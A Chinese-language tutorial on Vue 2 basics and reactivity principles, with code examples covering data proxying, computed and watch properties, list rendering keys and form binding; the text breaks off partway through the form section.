vue基础知识和原理

1 初识Vue

想让Vue工作，就必须创建一个Vue实例，且要传入一个配置对象
demo容器里的代码依然符合html规范，只不过混入了一些特殊的Vue语法
demo容器里的代码被称为【Vue模板】
Vue实例和容器是一一对应的
真实开发中只有一个Vue实例，并且会配合着组件一起使用
{ {xxx}}是Vue的语法：插值表达式，{ {xxx}}可以读取到data中的所有属性
一旦data中的数据发生改变，那么页面中用到该数据的地方也会自动更新(Vue实现的响应式)

<!-- 准备好一个容器 -->
<div id="demo">
	<h1>Hello，{
    
    {
    
    name.toUpperCase()}}，{
    
    {
    
    address}}</h1>
</div>

<script type="text/javascript" >
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	//创建Vue实例
	new Vue({
    
    
		el:'#demo', //el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。
		data:{
    
     //data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象。
			name:'hello,world',
			address:'北京'
		}
	});
</script>

2 模板语法

Vue模板语法有2大类:

插值语法：

功能：用于解析标签体内容

写法：{ {xxx}}，xxx是js表达式，且可以直接读取到data中的所有属性
指令语法:

功能：用于解析标签（包括：标签属性、标签体内容、绑定事件…）

举例：v-bind:href=“xxx” 或简写为 :href=“xxx”，xxx同样要写js表达式，且可以直接读取到data中的所有属性

<div id="root">
	<h1>插值语法</h1>
	<h3>你好，{
    
    {
    
    name}}</h3>
	<hr/>
	<h1>指令语法</h1>
    <!-- 这里是展示被Vue指令绑定的属性，引号内写的是js表达式 -->
	<a :href="school.url.toUpperCase()" x="hello">点我去{
    
    {
    
    school.name}}学习1</a>
	<a :href="school.url" x="hello">点我去{
    
    {
    
    school.name}}学习2</a>
</div>

<script>
    new Vue({
    
    
		el:'#root',
		data:{
    
    
			name:'jack',
			school:{
    
    
				name:'百度',
				url:'http://www.baidu.com',
			}
        }
	})
</script>

3 数据绑定

Vue中有2种数据绑定的方式：

单向绑定(v-bind)：数据只能从data流向页面
双向绑定(v-model)：数据不仅能从data流向页面，还可以从页面流向data

1.双向绑定一般都应用在表单类元素上（如：input、select等）

2.v-model:value 可以简写为 v-model，因为v-model默认收集的就是value值

<div id="root">
	<!-- 普通写法 单向数据绑定 -->
    单向数据绑定：<input type="text" v-bind:value="name"><br/>
    双向数据绑定：<input type="text" v-model:value="name"><br/>
    
    <!-- 简写 v-model:value 可以简写为 v-model，因为v-model默认收集的就是value值-->
    单向数据绑定：<input type="text" :value="name"><br/>
    双向数据绑定：<input type="text" v-model="name"><br/>
</div>

<script>
    new Vue({
    
    
		el:'#root',
		data:{
    
    
			name:'jack',
        }
	})
</script>

4 el与data的两种写法

el有2种写法

new Vue时候配置el属性
先创建Vue实例，随后再通过vm.$mount(‘#root’)指定el的值

<script>
   	// 第一种 
	const vm = new Vue({
    
    
		el:'#root',
		data:{
    
    
			name:'jack',
        }
	})
    
    // 第二种
    vm.$mount('#root')
</script>

data有2种写法

对象式
函数式

在组件中，data必须使用函数式

<script>
    new Vue({
    
    
		el:'#root',
        // 第一种
		data:{
    
    
			name:'jack',
        }
        
        // 第二种
        data() {
    
    
        	return {
    
    
                name: 'jack'
            }
    	}
	})
</script>

5 Vue中的MVVM

M：模型(Model) ：data中的数据
V：视图(View) ：模板代码
VM：视图模型(ViewModel)：Vue实例

6 数据代理

了解数据代理需要js的一些知识：Object.defineProperty()，属性标志，属性描述符，getter，setter。。。

建议学习文章地址：

https://zh.javascript.info/property-descriptors

https://zh.javascript.info/property-accessors

这里简单介绍一下：

属性标志：

对象属性（properties），除 value 外，还有三个特殊的特性（attributes），也就是所谓的“标志”

writable — 如果为 true，则值可以被修改，否则它是只可读的
enumerable — 如果为 true，则表示是可以遍历的，可以在for… .in Object.keys()中遍历出来
configurable — 如果为 true，则此属性可以被删除，这些特性也可以被修改，否则不可以

Object.getOwnPropertyDescriptor(obj, propertyName)

这个方法是查询有关属性的完整信息 obj是对象， propertyName是属性名

let user = {
    
    
  name: "John"
};

let descriptor = Object.getOwnPropertyDescriptor(user, 'name');


console.log(descriptor)

/* 属性描述符：
{
  "value": "John",
  "writable": true,
  "enumerable": true,
  "configurable": true
}
*/

Object.defineProperty(obj, prop, descriptor)

obj：要定义属性的对象。

prop：要定义或修改的属性的名称

descriptor：要定义或修改的属性描述符

let user = {
    
    
  name: "John"
};

Object.defineProperty(user, "name", {
    
    
  writable: false
});

user.name = "Pete";

// 打印后还是显示 'John',无法修改name值

其他的属性标志就不演示了，接下来看重点：访问器属性。

访问器属性：

本质上是用于获取和设置值的函数，但从外部代码来看就像常规属性。

访问器属性由 “getter” 和 “setter” 方法表示。在对象字面量中，它们用 get 和 set 表示：

let obj = {
    
    
    get name() {
    
    
        // 当读取 obj.propName 时，getter 起作用
    },
    set name() {
    
    
        // 当执行 obj.name = value 操作时，setter 起作用
    }
}

更复杂一点的使用

let user = {
    
    
	surname: 'gao',
    name: 'han'
    
    get fullName() {
    
    
        return this.name + this.surname;
    }
}

console.log(user.fullName)

从外表看，访问器属性看起来就像一个普通属性。这就是访问器属性的设计思想。我们不以函数的方式调用 user.fullName，我们正常读取它：getter 在幕后运行。

截至目前，fullName 只有一个 getter。如果我们尝试赋值操作 user.fullName=，将会出现错误：

user.fullName = "Test"; // Error（属性只有一个 getter）

为 user.fullName 添加一个 setter 来修复它：

let user = {
    
    
	surname: 'gao',
    name: 'han'
    
    get fullName() {
    
    
        return this.name + ' ' + this.surname;
    }

	set fullName(value) {
    
    
        // 这个用到了新语法 结构赋值
        [this.surname, this.name] = value.split(' ');
    }
}

user.fullName = 'Li Hua'

console.log(user.name);
console.log(user.surname);

终于可以介绍数据代理了：

数据代理：通过一个对象代理对另一个对象中属性的操作（读/写）

先来看个案例：

let obj = {
    
    
    x: 100
}

let obj2 = {
    
    
    y: 200
}

这时候提一个需求：我们想要访问 obj 中的 x 的值，但我们最好不要直接去访问 obj ,而是想要通过 obj2 这个代理对象去访问。

这时候就可以用上 Object.defineProperty()，给 obj2 添加上访问器属性（也就是getter和setter）

let obj = {
    
    
    x: 100
}

let obj2 = {
    
    
    y: 200
}

Object.defineProperty(obj2, 'x', {
    
    
    get() {
    
    
        return obj.x;
    },
    set(value) {
    
    
        obj.x = value;
    }
})

这就是数据代理，也不难吧

接下来介绍Vue中的数据代理

Vue中的数据代理：通过vm对象来代理data对象中属性的操作（读/写）

Vue中数据代理的好处：更加方便的操作data中的数据

基本原理：

通过Object.defineProperty()把data对象中所有属性添加到vm上。
为每一个添加到vm上的属性，都指定一个getter/setter。
在getter/setter内部去操作（读/写）data中对应的属性。

我来用一个案例来详细解释这一个过程。

<!-- 准备好一个容器-->
<div id="root">
	<h2>学校名称：{
    
    {
    
    name}}</h2>
	<h2>学校地址：{
    
    {
    
    address}}</h2>
</div>

<script>
	const vm = new Vue({
    
    
        el: '#root',
        data: {
    
    
            name: '北京大学',
            address: '北京'
        }
    })
</script>

我们在控制台打印 new 出来的 vm
在这里插入图片描述

可以看到，写在配置项中的 data 数据被绑定到了 vm 对象上，我先来讲结果，是 Vue 将 _data 中的 name，address 数据代理到 vm 本身上。

一脸懵逼？

先来解释下_data 是啥， _data 就是 vm 身上的 _data 属性

这个 _data 是从哪来的？

<script>
    
	const vm = new Vue({
    
    
        el: '#root',
        // 我们在Vue 初始化的配置项中写了 data 属性。
        data: {
    
    
            name: '北京大学',
            address: '北京'
        }
    })
</script>

new Vue 时， Vue 通过一系列处理，将匹配项上的 data 数据绑定到了 _data 这个属性上，并对这个属性进行了处理（数据劫持），但这个属性就是来源于配置项中的 data，我们可以来验证一下。

<script>
    
    let data1 = {
    
    
        name: '北京大学',
        address: '北京'
    }
    
	const vm = new Vue({
    
    
        el: '#root',
        // 我们在Vue 初始化的配置项中写了 data 属性。
        data: data1
    })
</script>

vm._data === data1 结果为 true

打印结果为true，说明两者就是同一个

好了，再回到数据代理上来，将 vm._data 中的值，再代理到 vm 本身上来，用vm.name 代替 vm._data.name。这就是 Vue 的数据代理
在这里插入图片描述

这一切都是通过 Object.defineProperty() 来完成的，我来模拟一下这个过程

Object.defineProperty(vm, 'name', {
    
    
    get() {
    
    
        return vm._data.name;
    },
    set(value) {
    
    
        vm._data.name = value
    }
})

这样有啥意义？明明通过 vm._data.name 也可以访问 name 的值，为啥费力去这样操作？

在插值语法中，{ { name }} 取到的值就相当于 { { vm.name }}，不用数据代理的话，在插值语法就要这样去写了。

{ { _data. name }} 这不符合直觉，怪怪的。vue 这样设计更利于开发者开发，我们在研究原理会觉得有些复杂
在这里插入图片描述

7 事件处理

事件的基本使用：

使用v-on:xxx 或 @xxx 绑定事件，其中xxx是事件名
事件的回调需要配置在methods对象中，最终会在vm上
methods中配置的函数，都是被Vue所管理的函数，this的指向是vm 或组件实例对象

<!-- 准备好一个容器-->
<div id="root">
    <h2>欢迎来到{
    
    {
    
    name}}学习</h2>
    <!-- <button v-on:click="showInfo">点我提示信息</button> -->
    <button @click="showInfo1">点我提示信息1（不传参）</button>
    <!-- 主动传事件本身 -->
    <button @click="showInfo2($event,66)">点我提示信息2（传参）</button>
</div>

<script>
	const vm = new Vue({
    
    
        el:'#root',
        data:{
    
    
            name:'vue',
        },
        methods:{
    
    
            // 如果vue模板没有写event，会自动传 event 给函数
            showInfo1(event){
    
    
                // console.log(event.target.innerText)
                // console.log(this) //此处的this是vm
                alert('同学你好！')
            },
            showInfo2(event,number){
    
    
                console.log(event,number)
                // console.log(event.target.innerText)
                // console.log(this) //此处的this是vm
                alert('同学你好！！')
            }
        }
	});
</script>

Vue中的事件修饰符

prevent：阻止默认事件（常用）
stop：阻止事件冒泡（常用）
once：事件只触发一次（常用）

<!-- 准备好一个容器-->
<div id="root">
    <h2>欢迎来到{
    
    {
    
    name}}学习</h2>
    <!-- 阻止默认事件（常用） -->
	<a href="http://www.baidu.com" @click.prevent="showInfo">点我提示信息</a>
    <!-- 阻止事件冒泡（常用） -->
    <div class="demo1" @click="showInfo">
        <button @click.stop="showInfo">点我提示信息</button>
        <!-- 修饰符可以连续写 -->
        <!-- <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a> -->
    </div>
    <!-- 事件只触发一次（常用） -->
    <button @click.once="showInfo">点我提示信息</button>
</div>

8 键盘事件

键盘事件语法糖：@keydown，@keyup

Vue中常用的按键别名：

回车 => enter
删除 => delete
退出 => esc
空格 => space
换行 => tab (特殊，必须配合keydown去使用)

<!-- 准备好一个容器-->
<div id="root">
    <h2>欢迎来到{
    
    {
    
    name}}学习</h2>
    <input type="text" placeholder="按下回车提示输入" @keydown.enter="showInfo">
</div>

<script>
    new Vue({
    
    
        el:'#root',
        data:{
    
    
            name:'北京大学'
        },
        methods: {
    
    
            showInfo(e){
    
    
                // console.log(e.key,e.keyCode)
                console.log(e.target.value)
            }
        },
    })
</script>

9 计算属性

定义：要用的属性不存在，要通过已有属性计算得来

原理：底层借助了Objcet.defineProperty方法提供的getter和setter

get函数什么时候执行？

初次读取时会执行一次
当依赖的数据发生改变时会被再次调用

优势：与methods实现相比，内部有缓存机制（复用），效率更高，调试方便

备注：

计算属性最终会出现在vm上，直接读取使用即可
如果计算属性要被修改，那必须写set函数去响应修改，且set中要引起计算时依赖的数据发生改变

计算属性完整版写法

<!-- 准备好一个容器-->
<div id="root">
    姓：<input type="text" v-model="firstName">
    名：<input type="text" v-model="lastName"> 
    全名：<span>{
    
    {
    
    fullName}}</span>
</div>

<script>
	const vm = new Vue({
    
    
        el:'#root',
        data:{
    
    
            firstName:'张',
            lastName:'三',
        }
        computed:{
    
    
            fullName:{
    
    
                //get有什么作用？当有人读取fullName时，get就会被调用，且返回值就作为fullName的值
                //get什么时候调用？1.初次读取fullName时。2.所依赖的数据发生变化时。
                get(){
    
    
                    console.log('get被调用了')
                    return this.firstName + '-' + this.lastName
                },
                //set什么时候调用? 当fullName被修改时。
                // 可以主动在控制台修改fullName来查看情况
                set(value){
    
    
                    console.log('set',value)
                    const arr = value.split('-')
                    this.firstName = arr[0]
                    this.lastName = arr[1]
                }
            }
        }
    })
</script>

在这里插入图片描述

计算属性简写

<!-- 准备好一个容器-->
<div id="root">
    姓：<input type="text" v-model="firstName">
    名：<input type="text" v-model="lastName"> 
    全名：<span>{
    
    {
    
    fullName}}</span>
</div>

<script>
	const vm = new Vue({
    
    
        el:'#root',
        data:{
    
    
            firstName:'张',
            lastName:'三',
        }
        computed:{
    
    
            fullName() {
    
    
        		console.log('get被调用了')
				return this.firstName + '-' + this.lastName
    		}
        }
    })
</script>

10 监视属性

监视属性watch：

当被监视的属性变化时, 回调函数自动调用, 进行相关操作

监视的属性必须存在，才能进行监视

监视的两种写法：

new Vue时传入watch配置
通过vm.$watch监视

第一种写法

<!-- 准备好一个容器-->
<div id="root">
    <h2>今天天气很{
    
    {
    
     info }}</h2>
    <button @click="changeWeather">切换天气</button>
</div>


<script>
	const vm = new Vue({
    
    
        el:'#root',
        data:{
    
    
            isHot:true,
        },
        computed:{
    
    
            info(){
    
    
                return this.isHot ? '炎热' : '凉爽'
            }
        },
        methods: {
    
    
            changeWeather(){
    
    
                this.isHot = !this.isHot
            }
        },
        watch:{
    
    
            isHot:{
    
    
                immediate: true, // 初始化时让handler调用一下
                // handler什么时候调用？当isHot发生改变时。
                handler(newValue, oldValue){
    
    
                    console.log('isHot被修改了',newValue,oldValue)
                }
            }
        } 
    })
</script>

第二种写法

<!-- 准备好一个容器-->
<div id="root">
    <h2>今天天气很{
    
    {
    
     info }}</h2>
    <button @click="changeWeather">切换天气</button>
</div>


<script>
	const vm = new Vue({
    
    
        el:'#root',
        data:{
    
    
            isHot:true,
        },
        computed:{
    
    
            info(){
    
    
                return this.isHot ? '炎热' : '凉爽'
            }
        },
        methods: {
    
    
            changeWeather(){
    
    
                this.isHot = !this.isHot
            }
        }
    })
    
    vm.$watch('isHot',{
    
    
        immediate:true, //初始化时让handler调用一下
        //handler什么时候调用？当isHot发生改变时。
        handler(newValue,oldValue){
    
    
            console.log('isHot被修改了',newValue,oldValue)
        }
    })
</script>

深度监视：

Vue中的watch默认不监测对象内部值的改变（一层）

配置deep: true可以监测对象内部值改变（多层）

Vue自身可以监测对象内部值的改变，但Vue提供的watch默认不可以

使用watch时根据数据的具体结构，决定是否采用深度监视

<!-- 准备好一个容器-->
<div id="root">
    {
    
    {
    
    numbers.c.d.e}}
</div>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    const vm = new Vue({
    
    
        el:'#root',
        data:{
    
    
            numbers:{
    
    
                c:{
    
    
                    d:{
    
    
                        e:100
                    }
                }
            }
        },
        watch:{
    
    
            //监视多级结构中某个属性的变化
            /* 'numbers.a':{
					handler(){
						console.log('a被改变了')
					}
				} */
            //监视多级结构中所有属性的变化
            numbers:{
    
    
                deep:true,
                handler(){
    
    
                    console.log('numbers改变了')
                }
            }
        }
    });
</script>

监视属性简写

<!-- 准备好一个容器-->
<div id="root">
    <h2>今天天气很{
    
    {
    
    info}}</h2>
    <button @click="changeWeather">切换天气</button>
</div>

<script>
	const vm = new Vue({
    
    
        el:'#root',
        data:{
    
    
            isHot:true,
        },
        computed:{
    
    
            info(){
    
    
                return this.isHot ? '炎热' : '凉爽'
            }
        },
        methods: {
    
    
            changeWeather(){
    
    
                this.isHot = !this.isHot
            }
        },
        watch:{
    
    
            //简写
            isHot(newValue, oldValue) {
    
    
					console.log('isHot被修改了', newValue, oldValue, this)
			} 
        }
    })
</script>

computed和watch之间的区别：

computed能完成的功能，watch都可以完成
watch能完成的功能，computed不一定能完成，例如：watch可以进行异步操作

两个重要的小原则：

所被Vue管理的函数，最好写成普通函数，这样this的指向才是vm 或组件实例对象

所有不被Vue所管理的函数（定时器的回调函数、ajax的回调函数等、Promise的回调函数），最好写成箭头函数，这样this的指向才是vm 或组件实例对象

<!-- 准备好一个容器-->
<div id="root">
    姓：<input type="text" v-model="firstName"> <br/><br/>
    名：<input type="text" v-model="lastName"> <br/><br/>
    全名：<span>{
    
    {
    
    fullName}}</span> <br/><br/>
</div>

<script>
	const vm = new Vue({
    
    
        el:'#root',
        data:{
    
    
            firstName:'张',
            lastName:'三',
            fullName:'张-三'
        },
        watch:{
    
    
            // watch 监视器里可以写 异步函数
            firstName(val){
    
    
                setTimeout(()=>{
    
    
                    console.log(this)
                    this.fullName = val + '-' + this.lastName
                },1000);
            },
            lastName(val){
    
    
                this.fullName = this.firstName + '-' + val
            }
        }
    })
</script>

11 绑定样式

11.1 class样式

写法：:class=“xxx” xxx可以是字符串、对象、数

所以分为三种写法，字符串写法，数组写法，对象写法

字符串写法

字符串写法适用于：类名不确定，要动态获取

<style>
	.normal{
    
    
        background-color: skyblue;
    }
</style>

<!-- 准备好一个容器-->
<div id="root">
    <!-- 绑定class样式--字符串写法，适用于：样式的类名不确定，需要动态指定 -->
    <div class="basic" :class="mood" @click="changeMood">{
    
    {
    
    name}}</div>
</div>

<script>
	const vm = new Vue({
    
    
        el:'#root',
        data:{
    
    
            mood:'normal'
        }
    })
</script>

数组写法

数组写法适用于：要绑定多个样式，个数不确定，名字也不确定

<style>
    .atguigu1{
    
    
        background-color: yellowgreen;
    }
    .atguigu2{
    
    
        font-size: 30px;
        text-shadow:2px 2px 10px red;
    }
    .atguigu3{
    
    
        border-radius: 20px;
    }
</style>

<!-- 准备好一个容器-->
<div id="root">
    <!-- 绑定class样式--数组写法，适用于：要绑定的样式个数不确定、名字也不确定 -->
	<div class="basic" :class="classArr">{
    
    {
    
    name}}</div>
</div>

<script>
	const vm = new Vue({
    
    
        el:'#root',
        data:{
    
    
            classArr: ['atguigu1','atguigu2','atguigu3']
        }
    })
</script>

对象写法

对象写法适用于：要绑定多个样式，个数确定，名字也确定，但不确定用不用。

<style>
    .atguigu1{
    
    
        background-color: yellowgreen;
    }
    .atguigu2{
    
    
        font-size: 30px;
        text-shadow:2px 2px 10px red;
    }
</style>

<!-- 准备好一个容器-->
<div id="root">
    <!-- 绑定class样式--对象写法，适用于：要绑定的样式个数确定、名字也确定，但要动态决定用不用 -->
	<div class="basic" :class="classObj">{
    
    {
    
    name}}</div>
</div>

<script>
	const vm = new Vue({
    
    
        el:'#root',
        data:{
    
    
            classObj:{
    
    
                atguigu1:false,
                atguigu2:false,
			}
        }
    })
</script>

11.2 style样式

有两种写法，对象写法，数组写法

对象写法

<!-- 准备好一个容器-->
<div id="root">
    <!-- 绑定style样式--对象写法 -->
	<div class="basic" :style="styleObj">{
    
    {
    
    name}}</div>
</div>

<script>
	const vm = new Vue({
    
    
        el:'#root',
        data:{
    
    
            styleObj:{
    
    
                fontSize: '40px',
                color:'red',
			}
        }
    })
</script>

数组写法

<!-- 准备好一个容器-->
<div id="root">
    <!-- 绑定style样式--数组写法 -->
	<div class="basic" :style="styleArr">{
    
    {
    
    name}}</div>
</div>

<script>
	const vm = new Vue({
    
    
        el:'#root',
        data:{
    
    
            styleArr:[
                {
    
    
                    fontSize: '40px',
                    color:'blue',
                },
                {
    
    
                    backgroundColor:'gray'
                }
            ]
        }
    })
</script>

12 条件渲染

12.1 v-if

写法：

v-if=“表达式”
v-else-if=“表达式”
v-else=“表达式”

适用于：切换频率较低的场景

特点：不展示的DOM元素直接被移除

注意：v-if可以和v-else-if、v-else一起使用，但要求结构不能被“打断”

<!-- 准备好一个容器-->
<div id="root">
    <!-- 使用v-if做条件渲染 -->
    <h2 v-if="false">欢迎来到{
    
    {
    
    name}}</h2>
    <h2 v-if="1 === 1">欢迎来到{
    
    {
    
    name}}</h2>
    
    
    <!-- v-else和v-else-if -->
    <div v-if="n === 1">Angular</div>
    <div v-else-if="n === 2">React</div>
    <div v-else-if="n === 3">Vue</div>
    <div v-else>哈哈</div>
    
    
    <!-- v-if与template的配合使用 -->
    <!-- 就不需要写好多个判断，写一个就行 -->
    <!-- 这里的思想就像事件代理的使用 -->
    <template v-if="n === 1">
        <h2>你好</h2>
        <h2>鱼仔</h2>
        <h2>北京</h2>
    </template>
</div>

<script>
	const vm = new Vue({
    
    
        el:'#root',
        data:{
    
    
            styleArr:[
                {
    
    
                    fontSize: '40px',
                    color:'blue',
                },
                {
    
    
                    backgroundColor:'gray'
                }
            ]
        }
    })
</script>

12.2 v-show

写法：v-show=“表达式”

适用于：切换频率较高的场景

特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏掉(display:none)

使用v-if的时，元素可能无法获取到，而使用v-show一定可以获取到

v-if 是实打实地改变dom元素，v-show 是隐藏或显示dom元素

<!-- 准备好一个容器-->
<div id="root">
    <!-- 使用v-show做条件渲染 -->
    <h2 v-show="false">欢迎来到{
    
    {
    
    name}}</h2>
    <h2 v-show="1 === 1">欢迎来到{
    
    {
    
    name}}</h2>
</div>

13 列表渲染

13.1 v-for指令

用于展示列表数据

语法：v-for=“(item, index) in xxx” :key=“yyy”

可遍历：数组、对象、字符串（用的很少）、指定次数（用的很少）

<div id="root">
    <!-- 遍历数组 -->
    <h2>人员列表（遍历数组）</h2>
    <ul>
        <li v-for="(p,index) of persons" :key="index">
            {
    
    {
    
    p.name}}-{
    
    {
    
    p.age}}
        </li>
    </ul>

    <!-- 遍历对象 -->
    <h2>汽车信息（遍历对象）</h2>
    <ul>
        <li v-for="(value,k) of car" :key="k">
            {
    
    {
    
    k}}-{
    
    {
    
    value}}
        </li>
    </ul>

    <!-- 遍历字符串 -->
    <h2>测试遍历字符串（用得少）</h2>
    <ul>
        <li v-for="(char,index) of str" :key="index">
            {
    
    {
    
    char}}-{
    
    {
    
    index}}
        </li>
    </ul>

    <!-- 遍历指定次数 -->
    <h2>测试遍历指定次数（用得少）</h2>
    <ul>
        <li v-for="(number,index) of 5" :key="index">
            {
    
    {
    
    index}}-{
    
    {
    
    number}}
        </li>
    </ul>
</div>

<script>
	const vm = new Vue({
    
    
        el:'#root',
        data: {
    
    
			persons: [
				{
    
     id: '001', name: '张三', age: 18 },
				{
    
     id: '002', name: '李四', age: 19 },
				{
    
     id: '003', name: '王五', age: 20 }
			],
			car: {
    
    
				name: '奥迪A8',
				price: '70万',
				color: '黑色'
			},
			str: 'hello'
		}
    })
</script>

13.2 key的原理

vue中的key有什么作用？（key的内部原理）

了解vue中key的原理需要一些前置知识。

就是vue的虚拟dom，vue会根据 data中的数据生成虚拟dom，如果是第一次生成页面，就将虚拟dom转成真实dom，在页面展示出来。

虚拟dom有啥用？每次vm._data 中的数据更改，都会触发生成新的虚拟dom，新的虚拟dom会跟旧的虚拟dom进行比较，如果有相同的，在生成真实dom时，这部分相同的就不需要重新生成，只需要将两者之间不同的dom转换成真实dom，再与原来的真实dom进行拼接。我的理解是虚拟dom就是起到了一个dom复用的作用，还有避免重复多余的操作，下文有详细解释。

而key有啥用？

key是虚拟dom的标识

虚拟DOM中key的作用

key是虚拟DOM对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】, 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下：

旧虚拟DOM中找到了与新虚拟DOM相同的key：
- 若虚拟DOM中内容没变, 直接使用之前的真实DOM！
- 若虚拟DOM中内容变了, 则生成新的真实DOM，随后替换掉页面中之前的真实DOM。
旧虚拟DOM中未找到与新虚拟DOM相同的key
- 创建新的真实DOM，随后渲染到到页面。

用index作为key可能会引发的问题：

若对数据进行：逆序添加、逆序删除等破坏顺序操作：

会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

<!-- 准备好一个容器-->
<div id="root">
    <!-- 遍历数组 -->
    <h2>人员列表（遍历数组）</h2>
    <button @click.once="add">添加一个老刘</button>
    <ul>
        <li v-for="(p,index) of persons" :key="index">
            {
    
    {
    
    p.name}}-{
    
    {
    
    p.age}}
            <input type="text">
        </li>
    </ul>
</div>

<script type="text/javascript">
	Vue.config.productionTip = false

	new Vue({
    
    
		el: '#root',
		data: {
    
    
			persons: [
				{
    
     id: '001', name: '张三', age: 18 },
				{
    
     id: '002', name: '李四', age: 19 },
				{
    
     id: '003', name: '王五', age: 20 }
			]
		},
		methods: {
    
    
			add() {
    
    
				const p = {
    
     id: '004', name: '老刘', age: 40 }
				this.persons.unshift(p)
			}
		},
	});
</script>

在这里插入图片描述

如果结构中还包含输入类的DOM：

会产生错误DOM更新 ==> 界面有问题。

这回造成的就不是性能浪费了，会直接导致页面的错误

13.3 结论

最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值

如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，使用index作为key是没有问题的

14 vue 监测data 中的数据

案例

<!-- 准备好一个容器-->
<div id="root">
    <h2>人员列表</h2>
    <button @click="updateMei">更新马冬梅的信息</button>
    <ul>
        <li v-for="(p,index) of persons" :key="p.id">
            {
    
    {
    
    p.name}}-{
    
    {
    
    p.age}}-{
    
    {
    
    p.sex}}
        </li>
    </ul> 
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    const vm = new Vue({
    
    
        el:'#root',
        data:{
    
    
            persons:[
                {
    
    id:'001',name:'马冬梅',age:30,sex:'女'},
                {
    
    id:'002',name:'周冬雨',age:31,sex:'女'},
                {
    
    id:'003',name:'周杰伦',age:18,sex:'男'},
                {
    
    id:'004',name:'温兆伦',age:19,sex:'男'}
            ]
        },
        methods: {
    
    
            updateMei(){
    
    
                // this.persons[0].name = '马老师' //奏效
                // this.persons[0].age = 50 //奏效
                // this.persons[0].sex = '男' //奏效
                this.persons[0] = {
    
    id:'001',name:'马老师',age:50,sex:'男'} //不奏效
                // this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'})
            }
        }
    }) 
</script>

点击更新马冬梅的信息，data中马冬梅的数据并没有发生改变。

而控制台上的数据发生了改变，说明，这个更改的数据并没有被 vue 监测到。

怎么做vue才会检测到呢

Vue.set 的使用

Vue.set(target，propertyName/index，value) 或

vm.$set(target，propertyName/index，value)

用法：

向响应式对象中添加一个 property，并确保这个新 property 同样是响应式的，且触发视图更新。它必须用于向响应式对象上添加新 property，因为 Vue 无法探测普通的新增 property (比如 vm.myObject.newProperty = 'hi')

代码

<!-- 准备好一个容器-->
<div id="root">
    <h1>学生信息</h1>
    <button @click="addSex">添加性别属性，默认值：男</button> <br/>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
    
    
        el:'#root',
        data:{
    
    
            student:{
    
    
                name:'tom',
                age:18,
                hobby:['抽烟','喝酒','烫头'],
                friends:[
                    {
    
    name:'jerry',age:35},
                    {
    
    name:'tony',age:36}
                ]
            }
        },
        methods: {
    
    
            addSex(){
    
    
                // Vue.set(this.student,'sex','男')
                this.$set(this.student,'sex','男')
            }
        }
    })
</script>

Vue.set() 或 vm.$set 有缺陷：

在这里插入图片描述

就是 vm 和 _data

看完了 vue 监测对象中的数据，再来看看 vue 如何监测数组里的数据

先写个代码案例

<!-- 准备好一个容器-->
<div id="root">
    <h2>爱好</h2>
    <ul>
        <li v-for="(h,index) in student.hobby" :key="index">
            {
    
    {
    
    h}}
        </li>
    </ul>
    <h2>朋友们</h2>
    <ul>
        <li v-for="(f,index) in student.friends" :key="index">
            {
    
    {
    
    f.name}}--{
    
    {
    
    f.age}}
        </li>
    </ul>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
    
    
        el:'#root',
        data:
            student:{
    
    
                name:'tom',
                age:{
    
    
                    rAge:40,
                    sAge:29,
                },
                hobby:['抽烟','喝酒','烫头'],
                friends:[
                    {
    
    name:'jerry',age:35},
                    {
    
    name:'tony',age:36}
                ]
            }
        },
        methods: {
    
    
            
        }
    })
</script>

没有为数组服务的getter和setter，所以我们通过 vm._data.student.hobby[0] = ‘aaa’ // 不奏效

vue 监测在数组那没有 getter 和 setter，所以监测不到数据的更改，也不会引起页面的更新

既然 vue 在对数组无法通过 getter 和 setter 进行数据监视，那 vue 到底如何监视数组数据的变化呢？

vue对数组的监测是通过包装数组上常用的用于修改数组的方法来实现的。

vue官网的解释：
在这里插入图片描述

总结：

Vue监视数据的原理：

vue会监视data中所有层次的数据

如何监测对象中的数据？

通过setter实现监视，且要在new Vue时就传入要监测的数据。

对象中后追加的属性，Vue默认不做响应式处理
如需给后添加的属性做响应式，请使用如下API：

Vue.set(target，propertyName/index，value) 或

vm.$set(target，propertyName/index，value)

如何监测数组中的数据？

通过包裹数组更新元素的方法实现，本质就是做了两件事：

调用原生对应的方法对数组进行更新
重新解析模板，进而更新页面

在Vue修改数组中的某个元素一定要用如下方法：

使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
Vue.set() 或 vm.$set()

特别注意：Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象添加属性！！！

15 收集表单数据

若是input框，则v-model收集的是value值，用户输入的就是value值。

<!-- 准备好一个容器-->
<div id="root">
    <form @submit.prevent="demo">
        账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/>
        密码：<input type="password" v-model="userInfo.password"> <br/><br/>
        年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/>
        <button>提交</button>
    </form>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
    
    
        el:'#root',
        data:{
    
    
            userInfo:{
    
    
                account:'',
                password:'',
                age:18,
            }
        },
        methods: {
    
    
            demo(){
    
    
                console.log(JSON.stringify(this.userInfo))
            }
        }
    })
</script>

若是单选框，则v-model收集的是value值，且要给标签配置value值。

<!-- 准备好一个容器-->
<div id="root">
    <form @submit.prevent="demo">
        性别：
        男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
        女<input type="radio" name="sex" v-model="userInfo.sex" value="female">
    </form>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
    
    
        el:'#root',
        data:{
    
    
            userInfo:{
    
